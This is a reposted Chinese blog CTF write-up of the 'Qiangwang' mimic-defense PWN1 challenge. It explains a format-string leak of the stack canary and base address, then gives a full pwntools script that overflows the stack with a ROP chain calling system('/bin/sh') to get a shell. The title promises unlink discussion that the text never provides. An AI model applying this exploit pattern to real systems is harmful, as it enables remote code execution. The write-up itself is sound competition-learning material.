我是靠谱客的博主 虚拟小海豚,最近开发中收集的这篇文章主要介绍第五届“强网”拟态防御之PWN1与近段时间对unlink的理解,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

拟态第一题PWN1,首先正常扔进终端分析:64位,除了RELRP开启了一部分外,其余保护机制都开了。

接着来IDA看一看

观察旁边的函数发现居然有system,接着发现了“/bin/shx00”

Main函数的逻辑比较简单,分析然后进入func函数,发现两漏洞利用点:

显然栈溢出+格式化字符串漏洞:

思路如下:

泄露canary以及程序基础地址,计算相关地址,而后控制执行流来个简单的64位函数调用:

system(“/bin/shx00”)。

 

这里这个泄露程序基地址快把哥人搞傻了,gdb上明明是第43个,结果远程连接确实第45个,果然拟态。

from pwn import*
#p=remote('172.52.61.160',9999)
context.log_level="debug"
p=process('./123')

payload="%33$p%45$p"

p.sendlineafter("something",'2')  
p.sendlineafter("hello",payload)    
canary = int(p.recvuntil('00'),16)
base =int(p.recvuntil("n")[:-1],16)-0xb54

binsh_ =  base+0x202068
#system_=  base+0x202030
system_= base +0x0a2c
p_rdi=base+0xc73

print("canary: ")
print(hex(canary))
print("base:")
print(hex(base))
payload2='a'*0xc8+p64(canary)+"abcdline"+p64(p_rdi)+p64(binsh_)+p64(system_)
p.sendline(payload2)

p.interactive()

最后

以上就是虚拟小海豚为你收集整理的第五届“强网”拟态防御之PWN1与近段时间对unlink的理解的全部内容,希望文章能够帮你解决第五届“强网”拟态防御之PWN1与近段时间对unlink的理解所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(65)

评论列表共有 0 条评论

立即
投稿
返回
顶部